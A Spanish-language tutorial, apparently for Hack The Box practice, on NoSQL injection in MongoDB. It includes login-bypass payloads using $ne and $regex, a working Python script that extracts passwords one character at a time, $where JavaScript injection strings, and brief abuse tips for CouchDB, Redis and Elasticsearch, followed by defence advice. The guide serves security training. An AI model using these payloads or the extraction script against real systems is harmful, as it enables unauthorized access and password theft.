Inyección NoSQL en MongoDB: saltarse el login y sacar contraseñas

Detectar una inyección NoSQL, entrar en un login de MongoDB con $ne y $regex, y extraer contraseñas carácter a carácter con un script en Python.

· 3 min de lectura

MongoDB no usa SQL, pero eso no lo libra de las inyecciones. Las consultas son objetos JSON y, si la aplicación mete en ellos lo que envías sin comprobar el tipo, puedes cambiar un valor por un operador ($ne, $gt, $regex) o, en el peor caso, por código JavaScript que el servidor evalúa.

El fallo típico en Node.js con Express:

// El login esperaba dos cadenas...
const user = await db.collection('users').findOne({
  username: req.body.username,
  password: req.body.password
});
// ...pero si envías password[$ne]=x, Express te da un objeto: { "$ne": "x" }

La consulta pasa a ser "un usuario llamado admin cuya contraseña no sea x": entras sin saberla.

Detectarla

Señales de que hay MongoDB detrás: una aplicación en Node.js (cabecera X-Powered-By: Express), identificadores de 24 caracteres hexadecimales como 65a1f0c2e4b0a1b2c3d4e5f6 o errores que mencionan MongoError o BSON.

Prueba en cada parámetro, observando si cambia la respuesta:

Envío Qué indica
' " \ { $ Un error 500 o una traza: el valor llega a la consulta
user[$ne]=x Respuesta distinta a user=x: acepta operadores
{"user": {"$ne": null}} en JSON Lo mismo cuando la petición va en JSON
`'

Saltarse el login

Con formulario normal (application/x-www-form-urlencoded):

POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=admin&password[$ne]=x

Si la aplicación acepta JSON (prueba a cambiar la cabecera aunque el formulario no lo use):

POST /login HTTP/1.1
Content-Type: application/json

{"username": "admin", "password": {"$ne": "x"}}

Si no sabes el usuario, {"username": {"$ne": "x"}, "password": {"$ne": "x"}} devuelve el primero de la colección, que suele ser el administrador. Para elegir otro: {"username": {"$regex": "^adm"}, ...}.

Truco

En Shoppy el login construye la consulta concatenando texto dentro de un $where, así que lo que funciona es la versión JavaScript: admin'||'1'=='1 en el usuario.

Sacar la contraseña con $regex

Entrar está bien, pero muchas veces necesitas la contraseña (o el hash) para reutilizarla en SSH. Con $regex la consulta solo tiene éxito si la contraseña empieza por lo que pruebas, así que se puede adivinar carácter a carácter:

import requests, string

URL = "http://objetivo.htb/login"
alfabeto = string.ascii_letters + string.digits + "!@#%_-{}"
secreto = ""

while True:
    for c in alfabeto:
        intento = "^" + secreto + c.replace(".", r"\.")
        r = requests.post(URL, data={"username": "admin", "password[$regex]": intento},
                          allow_redirects=False)
        if r.status_code == 302:  # login correcto: redirige al panel
            secreto += c
            print(secreto)
            break
    else:
        break  # ningún carácter encaja: ya está completa
print("Contraseña:", secreto)

Ajusta la condición de éxito a lo que haga la web (una redirección, una cookie, un texto distinto). Con ^.{8}$ averiguas antes la longitud, y con el mismo truco en el campo username sacas la lista de usuarios.

Inyección en JavaScript ($where y mapReduce)

Si la consulta usa $where o funciones de JavaScript en el servidor, puedes meter lógica propia:

' || '1'=='1                          // siempre verdadero
' || this.password.match(/^a/) || 'a'=='b   // sacar datos como con $regex
'; sleep(5000); '                     // a ciegas, por tiempo

En versiones modernas el JavaScript del servidor está muy limitado, así que no esperes ejecutar comandos: el objetivo es saltarse la lógica y leer datos.

Otros motores

  • CouchDB: API REST en el puerto 5984; prueba /_all_dbs y /_users/_all_docs sin autenticar, y la vieja CVE-2017-12635 para crear un administrador.
  • Redis: no es una inyección, pero si está expuesto sin contraseña puedes escribir una clave SSH o un cron con CONFIG SET dir.
  • Elasticsearch: /_cat/indices y /_search?q=* sin autenticar.

Defensa

Validar el tipo de cada campo (que una contraseña sea una cadena y no un objeto), usar mongo-sanitize o la opción sanitizeFilter de Mongoose, y no usar nunca $where con datos del usuario.

Si la base de datos es relacional, pasa a la guía de inyección SQL y a la chuleta de SQLi.

Practícalo en máquinas reales

Máquinas de Hack The Box donde se usa la técnica. Cada ▶ salta al minuto del vídeo de IppSec donde aparece.

Inyección NoSQL 1 máquina

¿Ves un error o echas algo en falta? Cuéntanoslo